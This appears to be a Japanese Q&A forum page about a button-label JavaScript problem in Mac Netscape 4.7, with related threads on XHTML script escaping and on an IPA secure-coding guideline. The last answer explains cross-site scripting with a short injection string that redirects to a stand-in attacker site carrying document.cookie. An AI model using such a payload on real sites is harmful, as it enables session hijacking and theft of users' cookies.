ボタンが押されるとvalueを変更して表示したいので
JavaScriptでvalueを上書きするようにしてみました
Win:NC4.75,IE5.5
Mac:IE5
では動作するのですが

MAC-NC4.7でだけ動作してくれません。

全ての環境で表示を切り替えれるようにしたいのですが
他にボタンの表示を書き換える方法等、あるでしょうか?

以下が私の書いたソースです。
---------------------------------------
<HTML>
 <SCRIPT>
  function chgButton()
  {
   document.act.auto.value = "中断";
   return;
  }
 </SCRIPT>
 <BODY>
  <FORM name="act">
   <INPUT type="button" value="再生" name="auto" onClick="chgButton();return false;">
 </BODY>
</HTML>

このQ&Aに関連する最新のQ&A

JavaScript Mac」に関するQ&A: macのIE5でのjavascript

A 回答 (5件)

</FORM>がありません。

この回答への補足

ご指摘にあったように</FORM>タグも足してみましたがやっぱり
MAC-NC4.7ではボタンの表示を変更する事ができなかったです。
以下が</FORM>タグを挿入したソースです。
う~ん。。。
------------
<HTML>
<SCRIPT>
function chgButton()
{
document.act.auto.value = "中断";
return;
}
</SCRIPT>
<BODY>
<FORM name="act">
<INPUT type="button" value="再生" name="auto" onClick="chgButton();return false;">
</FORM>
</BODY>
</HTML>

補足日時:2001/06/18 16:30
    • good
    • 0
この回答へのお礼

大変申し訳ありませんでした。

書き忘れてました。
申し訳ないです。

お礼日時:2001/06/18 16:29

・chgButton() の returnを取るのはどうでしょうか。


---------
<HTML>
 <BODY>
  <SCRIPT>
   function chgButton()
   {
    document.act.auto.value = "中断";
   }
 </SCRIPT>
  <FORM name="act">
   <INPUT type="button" value="再生" name="auto" onClick="chgButton();">
</FORM>
 </BODY>
</HTML>
---------
・<BODY>の前に
 <HEAD><TITLE>~</TITLE></HEAD>を入れてみてはどうですか。

>締め切りボタンを押してもボタンの反応がないんです
別の時間に試したらどうですか。
    • good
    • 0

NC4.7のJavascript設定が無効になっている場合があります。


編集-設定-詳細のあたりで、設定してください。

この回答への補足

すいません。何度も回答してもらって、
そろそろ諦めてポイントを発行しようかと思っているのですが
私の環境では何故か(おそらく教えてgoo!のバグ)
質問を締め切ってポイントを発行しようとして
締め切りボタンを押してもボタンの反応がないんです。

そのため質問を締め切れません。
gooに質問のメールを書いたので
その返事がくるまでポイント発行はまっておいてください。

補足日時:2001/06/22 18:18
    • good
    • 0
この回答へのお礼

う~ん確認しましたがそういうことでもないようです。。
すいません。有難うございます。。。。

お礼日時:2001/06/22 11:49

return false; を消してみるのはどうでしょうか。

    • good
    • 0
この回答へのお礼

ご解答有難うございます。

しかし動作は変わらなかったです。
。。。。。。。。。。。。。。。。

・・・もう諦めます。inoue64さんさりがとうございました。

お礼日時:2001/06/21 12:58

<SCRIPT>~</SCRIPT>を<BODY>の中に入れてみてはどうですか。

    • good
    • 0
この回答へのお礼

御回答ありがとうございます。

しかし試しみたところ特に動作は変わらなかったです。
う~むぅ。。。。。。

お礼日時:2001/06/19 10:32

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aと関連する良く見られている質問

Q 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://~/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です(ただし「--」だけは駄目です)。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです(HTML5 に明記されています)。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

Q